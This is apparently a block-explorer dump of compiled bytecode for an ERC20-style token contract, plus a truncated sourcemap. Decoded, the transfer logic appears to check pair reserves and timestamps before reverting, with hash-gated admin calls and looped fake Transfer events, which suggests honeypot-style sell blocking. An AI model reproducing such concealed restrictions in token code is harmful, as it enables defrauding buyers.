91505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116b59190612735565b6000604051808303816000865af19150503d80600081146116f2576040519150601f19603f3d011682016040523d82523d6000602084013e6116f7565b606091505b50915050600080828060200190518101906117129190612514565b9150915060008580602001905181019061172c91906122d9565b905060008580602001905181019061174491906122d9565b905060008273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611792919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161181c9190612735565b6000604051808303816000865af19150503d8060008114611859576040519150601f19603f3d011682016040523d82523d6000602084013e61185e565b606091505b5091505060008180602001905181019061187891906124e7565b905060008373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016118c6919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119509190612735565b6000604051808303816000865af19150503d806000811461198d576040519150601f19603f3d011682016040523d82523d6000602084013e611992565b606091505b509150506000818060200190518101906119ac91906124e7565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611a315782881115611a26578288611a189190612947565b9b506015548c119d50611a2c565b8288149c505b611ab1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611ab05780871115611aa9578087611a9b9190612947565b9b506015548c119d50611aaf565b8087149c505b5b5b8d158015611abd57508c155b611ac657600080fd5b50505050505050505050505050505b611ae0878786611e9d565b505050505b505050565b6000838311158290611b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b299190612782565b60405180910390fd5b5060008385611b419190612947565b9050809150509392505050565b6000808284611b5d91906128f1565b905083811015611ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9990612804565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1390612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c83906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0490612824565b60405180910390fd5b611d5e816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e9091906128a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0490612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f74906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590612824565b60405180910390fd5b61204f816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161218191906128a4565b60405180910390a3505050565b60006121d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aea565b905092915050565b6000813590506121e781612dc7565b92915050565b6000815190506121fc81612dde565b92915050565b60008083601f84011261221857612217612b43565b5b8235905067ffffffffffffffff81111561223557612234612b3e565b5b60208301915083602082028301111561225157612250612b48565b5b9250929050565b60008135905061226781612df5565b92915050565b60008151905061227c81612e0c565b92915050565b60008135905061229181612e23565b92915050565b6000815190506122a681612e23565b92915050565b6000602082840312156122c2576122c1612b52565b5b60006122d0848285016121d8565b91505092915050565b6000602082840312156122ef576122ee612b52565b5b60006122fd848285016121ed565b91505092915050565b6000806040838503121561231d5761231c612b52565b5b600061232b858286016121d8565b925050602061233c858286016121d8565b9150509250929050565b60008060006060848603121561235f5761235e612b52565b5b600061236d868287016121d8565b935050602061237e868287016121d8565b925050604061238f86828701612282565b9150509250925092565b600080604083850312156123b0576123af612b52565b5b60006123be858286016121d8565b92505060206123cf85828601612258565b9150509250929050565b600080604083850312156123f0576123ef612b52565b5b60006123fe858286016121d8565b925050602061240f85828601612282565b9150509250929050565b6000806000806060858703121561243357612432612b52565b5b600085013567ffffffffffffffff81111561245157612450612b4d565b5b61245d87828801612202565b94509450506020612470878288016121d8565b925050604061248187828801612282565b91505092959194509250565b6000602082840312156124a3576124a2612b52565b5b60006124b18482850161226d565b91505092915050565b6000602082840312156124d0576124cf612b52565b5b60006124de84828501612282565b91505092915050565b6000602082840312156124fd576124fc612b52565b5b600061250b84828501612297565b91505092915050565b6000806040838503121561252b5761252a612b52565b5b600061253985828601612297565b925050602061254a85828601612297565b9150509250929050565b61255d8161297b565b82525050565b61257461256f8261297b565b612a8d565b82525050565b6125838161299f565b82525050565b6000612594826128bf565b61259e81856128d5565b93506125ae8185602086016129df565b80840191505092915050565b60006125c5826128ca565b6125cf81856128e0565b93506125df8185602086016129df565b6125e881612b57565b840191505092915050565b60006126006023836128e0565b915061260b82612b75565b604082019050919050565b60006126236022836128e0565b915061262e82612bc4565b604082019050919050565b60006126466022836128e0565b915061265182612c13565b604082019050919050565b6000612669601b836128e0565b915061267482612c62565b602082019050919050565b600061268c6026836128e0565b915061269782612c8b565b604082019050919050565b60006126af6029836128e0565b91506126ba82612cda565b604082019050919050565b60006126d26025836128e0565b91506126dd82612d29565b604082019050919050565b60006126f56024836128e0565b915061270082612d78565b604082019050919050565b612714816129d5565b82525050565b60006127268284612563565b60148201915081905092915050565b60006127418284612589565b915081905092915050565b60006020820190506127616000830184612554565b92915050565b600060208201905061277c600083018461257a565b92915050565b6000602082019050818103600083015261279c81846125ba565b905092915050565b600060208201905081810360008301526127bd816125f3565b9050919050565b600060208201905081810360008301526127dd81612616565b9050919050565b600060208201905081810360008301526127fd81612639565b9050919050565b6000602082019050818103600083015261281d8161265c565b9050919050565b6000602082019050818103600083015261283d8161267f565b9050919050565b6000602082019050818103600083015261285d816126a2565b9050919050565b6000602082019050818103600083015261287d816126c5565b9050919050565b6000602082019050818103600083015261289d816126e8565b9050919050565b60006020820190506128b9600083018461270b565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006128fc826129d5565b9150612907836129d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293c5761293b612ab1565b5b828201905092915050565b6000612952826129d5565b915061295d836129d5565b9250828210156129705761296f612ab1565b5b828203905092915050565b6000612986826129b5565b9050919050565b6000612998826129b5565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156129fd5780820151818401526020810190506129e2565b83811115612a0c576000848401525b50505050565b60006002820490506001821680612a2a57607f821691505b60208210811415612a3e57612a3d612ae0565b5b50919050565b6000612a4f826129d5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8257612a81612ab1565b5b600182019050919050565b6000612a9882612a9f565b9050919050565b6000612aaa82612b68565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f62616c616e636520717565727920666f7220746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dd08161297b565b8114612ddb57600080fd5b50565b612de78161298d565b8114612df257600080fd5b50565b612dfe8161299f565b8114612e0957600080fd5b50565b612e15816129ab565b8114612e2057600080fd5b50565b612e2c816129d5565b8114612e3757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204fba8b3ca9436a8c7fdcd874b4bc85bf2a721ac486e3ce3009fc9cd29a563f6664736f6c63430008060033
Deployed Bytecode Sourcemap
13563:6127:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8701:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9792:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8988:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11413:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18995:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8895:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14635:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11927:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19449:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14749:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14210:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13999:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9091:268;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14410:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14106:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14051;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8125:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14159:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8792:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18781:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14565:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12231:396;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9367:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19205:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15022:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14281:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9582:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14691:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8701:83;8738:13;8771:5;8764:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8701:83;:::o;9792:191::-;9894:4;9916:37;9925:10;9937:7;9946:6;9916:8;:37::i;:::-;9971:4;9964:11;;9792:191;;;;:::o;8988:95::-;9041:7;9068;;9061:14;;8988:95;:::o;11413:498::-;11563:4;11580:54;11590:12;11604:13;11619:14;11580:9;:54::i;:::-;11645:236;11668:12;11695:10;11720:150;11780:14;11720:150;;;;;;;;;;;;;;;;;:11;:25;11732:12;11720:25;;;;;;;;;;;;;;;:37;11746:10;11720:37;;;;;;;;;;;;;;;;:41;;:150;;;;;:::i;:::-;11645:8;:236::i;:::-;11899:4;11892:11;;11413:498;;;;;:::o;18995:204::-;19095:11;;19055:36;19079:10;19062:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19055:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19051:142;;19122:7;;19051:142;19172:10;19159;;:23;;;;;;;;;;;;;;;;;;18995:204;;:::o;8895:85::-;8936:7;8963:9;;;;;;;;;;;8956:16;;;;8895:85;:::o;14635:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;11927:296::-;12042:4;12064:129;12087:10;12112:7;12134:48;12171:10;12134:11;:23;12146:10;12134:23;;;;;;;;;;;;;;;:32;12158:7;12134:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;12064:8;:129::i;:::-;12211:4;12204:11;;11927:296;;;;:::o;19449:238::-;19567:11;;19527:36;19551:10;19534:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19527:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19523:158;;19594:7;;19523:158;19661:9;19631:14;:27;19646:11;19631:27;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;19449:238;;;:::o;14749:25::-;;;;;;;;;;;;;:::o;14210:28::-;;;;;;;;;;;;;:::o;13999:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;9091:268::-;9157:7;9200:1;9181:21;;:7;:21;;;;9173:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9245:11;9259:7;:16;9267:7;9259:16;;;;;;;;;;;;;;;;9245:30;;9296:1;9289:3;:8;9285:48;;;9317:8;;9310:15;;;;;9285:48;9348:3;9341:10;;;9091:268;;;;:::o;14410:29::-;;;;;;;;;;;;;:::o;14106:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;14051:::-;;;;;;;;;;;;;;;;;;;;;;:::o;8125:84::-;;;;;;;;;;;;;:::o;14159:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;8792:87::-;8831:13;8864:7;8857:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8792:87;:::o;18781:208::-;18880:9;18875:107;18899:4;;:11;;18895:1;:15;18875:107;;;18953:4;;18958:1;18953:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;18936:34;;18945:6;18936:34;;;18962:7;18936:34;;;;;;:::i;:::-;;;;;;;;18912:3;;;;;:::i;:::-;;;;18875:107;;;;18781:208;;;;:::o;14565:29::-;;;;;;;;;;;;;:::o;12231:396::-;12351:4;12373:224;12396:10;12421:7;12443:143;12498:15;12443:143;;;;;;;;;;;;;;;;;:11;:23;12455:10;12443:23;;;;;;;;;;;;;;;:32;12467:7;12443:32;;;;;;;;;;;;;;;;:36;;:143;;;;;:::i;:::-;12373:8;:224::i;:::-;12615:4;12608:11;;12231:396;;;;:::o;9367:205::-;9476:4;9498:44;9508:10;9520;9532:9;9498;:44::i;:::-;9560:4;9553:11;;9367:205;;;;:::o;19205:238::-;19304:11;;19264:36;19288:10;19271:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19264:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19260:177;;19331:7;;19260:177;19368:58;19390:13;;;;;;;;;;;19405:10;;;;;;;;;;;19417:8;19368:21;:58::i;:::-;19205:238;;:::o;15022:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;14281:22::-;;;;;;;;;;;;;:::o;9582:200::-;9707:7;9739:11;:22;9751:9;9739:22;;;;;;;;;;;;;;;:35;9762:11;9739:35;;;;;;;;;;;;;;;;9732:42;;9582:200;;;;:::o;14691:47::-;;;;;;;;;;;;;;;;;:::o;13027:381::-;13181:1;13164:19;;:5;:19;;;;13156:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13262:1;13243:21;;:7;:21;;;;13235:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13346:6;13316:11;:18;13328:5;13316:18;;;;;;;;;;;;;;;:27;13335:7;13316:27;;;;;;;;;;;;;;;:36;;;;13384:7;13368:32;;13377:5;13368:32;;;13393:6;13368:32;;;;;;:::i;:::-;;;;;;;;13027:381;;;:::o;16471:2304::-;16614:1;16598:18;;:4;:18;;;;16590:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16690:1;16676:16;;:2;:16;;;;16668:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16759:1;16750:6;:10;16742:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16817:22;16842:6;16817:31;;16853:13;:19;16867:4;16853:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;16876:13;:17;16890:2;16876:17;;;;;;;;;;;;;;;;;;;;;;;;;16853:40;16849:132;;;16909:41;16925:4;16931:2;16935:14;16909:15;:41::i;:::-;16964:7;;;16849:132;16982:18;17003:2;16982:23;;17016:21;17040:14;:20;17055:4;17040:20;;;;;;;;;;;;;;;;;;;;;;;;;17016:44;;17071:16;17127:15;17113:11;;17090:14;:20;17105:4;17090:20;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;:52;17071:71;;17162:16;17161:17;17153:26;;;;;;17202:13;;;;;;;;;;;17194:21;;:4;:21;;;17190:1524;;;17227:11;17248;17269:19;17301:20;17325:13;;;;;;;;;;;:18;;17376:10;17353:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17325:72;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17298:99;;;17409:20;17433:13;;;;;;;;;;;:18;;17484:10;17461:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17433:71;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17406:98;;;17515:23;17542:13;;;;;;;;;;;:18;;17593:10;17570:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17542:69;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17512:99;;;17620:17;17639;17680:10;17660:64;;;;;;;;;;;;:::i;:::-;17619:105;;;;17730:14;17758:7;17747:30;;;;;;;;;;;;:::i;:::-;17730:47;;17783:14;17811:7;17800:30;;;;;;;;;;;;:::i;:::-;17783:47;;17839:21;17864:6;:11;;17931:13;;;;;;;;;;;17885:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17864:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17836:115;;;17957:16;17987:8;17976:31;;;;;;;;;;;;:::i;:::-;17957:50;;18016:21;18041:6;:11;;18108:13;;;;;;;;;;;18062:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18041:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18013:115;;;18134:15;18163:8;18152:31;;;;;;;;;;;;:::i;:::-;18134:49;;18203:10;;;;;;;;;;;18193:20;;:6;:20;;;18189:479;;;18241:8;18229:9;:20;18225:196;;;18291:8;18279:9;:20;;;;:::i;:::-;18265:34;;18336:13;;18322:11;:27;18313:36;;18225:196;;;18402:8;18389:9;:21;18380:30;;18225:196;18189:479;;;18447:10;;;;;;;;;;;18437:20;;:6;:20;;;18433:235;;;18485:7;18473:9;:19;18469:193;;;18534:7;18522:9;:19;;;;:::i;:::-;18508:33;;18578:13;;18564:11;:27;18555:36;;18469:193;;;18644:7;18631:9;:20;18622:29;;18469:193;18433:235;18189:479;18689:6;18688:7;:18;;;;;18700:6;18699:7;18688:18;18680:27;;;;;;17217:1497;;;;;;;;;;;;;;17190:1524;18726:41;18742:4;18748:2;18752:14;18726:15;:41::i;:::-;16580:2195;;;;16471:2304;;;;:::o;5408:226::-;5528:7;5561:1;5556;:6;;5564:12;5548:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;5588:9;5604:1;5600;:5;;;;:::i;:::-;5588:17;;5625:1;5618:8;;;5408:226;;;;;:::o;4505:181::-;4563:7;4583:9;4599:1;4595;:5;;;;:::i;:::-;4583:17;;4624:1;4619;:6;;4611:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4677:1;4670:8;;;4505:181;;;;:::o;9991:703::-;10179:1;10157:24;;:10;:24;;;;10135:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;10302:1;10279:25;;:11;:25;;;;10257:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10427:6;10404:7;:19;10412:10;10404:19;;;;;;;;;;;;;;;;:29;;10382:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;10532:31;10556:6;10532:7;:19;10540:10;10532:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;10510:7;:19;10518:10;10510:19;;;;;;;;;;;;;;;:53;;;;10597:32;10622:6;10597:7;:20;10605:11;10597:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10574:7;:20;10582:11;10574:20;;;;;;;;;;;;;;;:55;;;;10666:11;10645:41;;10654:10;10645:41;;;10679:6;10645:41;;;;;;:::i;:::-;;;;;;;;9991:703;;;:::o;10706:697::-;10888:1;10866:24;;:10;:24;;;;10844:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;11011:1;10988:25;;:11;:25;;;;10966:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;11136:6;11113:7;:19;11121:10;11113:19;;;;;;;;;;;;;;;;:29;;11091:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;11241:31;11265:6;11241:7;:19;11249:10;11241:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;11219:7;:19;11227:10;11219:19;;;;;;;;;;;;;;;:53;;;;11306:32;11331:6;11306:7;:20;11314:11;11306:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11283:7;:20;11291:11;11283:20;;;;;;;;;;;;;;;:55;;;;11375:11;11354:41;;11363:10;11354:41;;;11388:6;11354:41;;;;;;:::i;:::-;;;;;;;;10706:697;;;:::o;4969:136::-;5027:7;5054:43;5058:1;5061;5054:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;5047:50;;4969:136;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:159::-;217:5;248:6;242:13;233:22;;264:41;299:5;264:41;:::i;:::-;223:88;;;;:::o;334:568::-;407:8;417:6;467:3;460:4;452:6;448:17;444:27;434:2;;475:79;;:::i;:::-;434:2;588:6;575:20;565:30;;618:18;610:6;607:30;604:2;;;640:79;;:::i;:::-;604:2;754:4;746:6;742:17;730:29;;808:3;800:4;792:6;788:17;778:8;774:32;771:41;768:2;;;815:79;;:::i;:::-;768:2;424:478;;;;;:::o;908:133::-;951:5;989:6;976:20;967:29;;1005:30;1029:5;1005:30;:::i;:::-;957:84;;;;:::o;1047:143::-;1104:5;1135:6;1129:13;1120:22;;1151:33;1178:5;1151:33;:::i;:::-;1110:80;;;;:::o;1196:139::-;1242:5;1280:6;1267:20;1258:29;;1296:33;1323:5;1296:33;:::i;:::-;1248:87;;;;:::o;1341:143::-;1398:5;1429:6;1423:13;1414:22;;1445:33;1472:5;1445:33;:::i;:::-;1404:80;;;;:::o;1490:329::-;1549:6;1598:2;1586:9;1577:7;1573:23;1569:32;1566:2;;;1604:79;;:::i;:::-;1566:2;1724:1;1749:53;1794:7;1785:6;1774:9;1770:22;1749:53;:::i;:::-;1739:63;;1695:117;1556:263;;;;:::o;1825:367::-;1903:6;1952:2;1940:9;1931:7;1927:23;1923:32;1920:2;;;1958:79;;:::i;:::-;1920:2;2078:1;2103:72;2167:7;2158:6;2147:9;2143:22;2103:72;:::i;:::-;2093:82;;2049:136;1910:282;;;;:::o;2198:474::-;2266:6;2274;2323:2;2311:9;2302:7;2298:23;2294:32;2291:2;;;2329:79;;:::i;:::-;2291:2;2449:1;2474:53;2519:7;2510:6;2499:9;2495:22;2474:53;:::i;:::-;2464:63;;2420:117;2576:2;2602:53;2647:7;2638:6;2627:9;2623:22;2602:53;:::i;:::-;2592:63;;2547:118;2281:391;;;;;:::o;2678:619::-;2755:6;2763;2771;2820:2;2808:9;2799:7;2795:23;2791:32;2788:2;;;2826:79;;:::i;:::-;2788:2;2946:1;2971:53;3016:7;3007:6;2996:9;2992:22;2971:53;:::i;:::-;2961:63;;2917:117;3073:2;3099:53;3144:7;3135:6;3124:9;3120:22;3099:53;:::i;:::-;3089:63;;3044:118;3201:2;3227:53;3272:7;3263:6;3252:9;3248:22;3227:53;:::i;:::-;3217:63;;3172:118;2778:519;;;;;:::o;3303:468::-;3368:6;3376;3425:2;3413:9;3404:7;3400:23;3396:32;3393:2;;;3431:79;;:::i;:::-;3393:2;3551:1;3576:53;3621:7;3612:6;3601:9;3597:22;3576:53;:::i;:::-;3566:63;;3522:117;3678:2;3704:50;3746:7;3737:6;3726:9;3722:22;3704:50;:::i;:::-;3694:60;;3649:115;3383:388;;;;;:::o;3777:474::-;3845:6;3853;3902:2;3890:9;3881:7;3877:23;3873:32;3870:2;;;3908:79;;:::i;:::-;3870:2;4028:1;4053:53;4098:7;4089:6;4078:9;4074:22;4053:53;:::i;:::-;4043:63;;3999:117;4155:2;4181:53;4226:7;4217:6;4206:9;4202:22;4181:53;:::i;:::-;4171:63;;4126:118;3860:391;;;;;:::o;4257:849::-;4361:6;4369;4377;4385;4434:2;4422:9;4413:7;4409:23;4405:32;4402:2;;;4440:79;;:::i;:::-;4402:2;4588:1;4577:9;4573:17;4560:31;4618:18;4610:6;4607:30;4604:2;;;4640:79;;:::i;:::-;4604:2;4753:80;4825:7;4816:6;4805:9;4801:22;4753:80;:::i;:::-;4735:98;;;;4531:312;4882:2;4908:53;4953:7;4944:6;4933:9;4929:22;4908:53;:::i;:::-;4898:63;;4853:118;5010:2;5036:53;5081:7;5072:6;5061:9;5057:22;5036:53;:::i;:::-;5026:63;;4981:118;4392:714;;;;;;;:::o;5112:351::-;5182:6;5231:2;5219:9;5210:7;5206:23;5202:32;5199:2;;;5237:79;;:::i;:::-;5199:2;5357:1;5382:64;5438:7;5429:6;5418:9;5414:22;5382:64;:::i;:::-;5372:74;;5328:128;5189:274;;;;:::o;5469:329::-;5528:6;5577:2;5565:9;5556:7;5552:23;5548:32;5545:2;;;5583:79;;:::i;:::-;5545:2;5703:1;5728:53;5773:7;5764:6;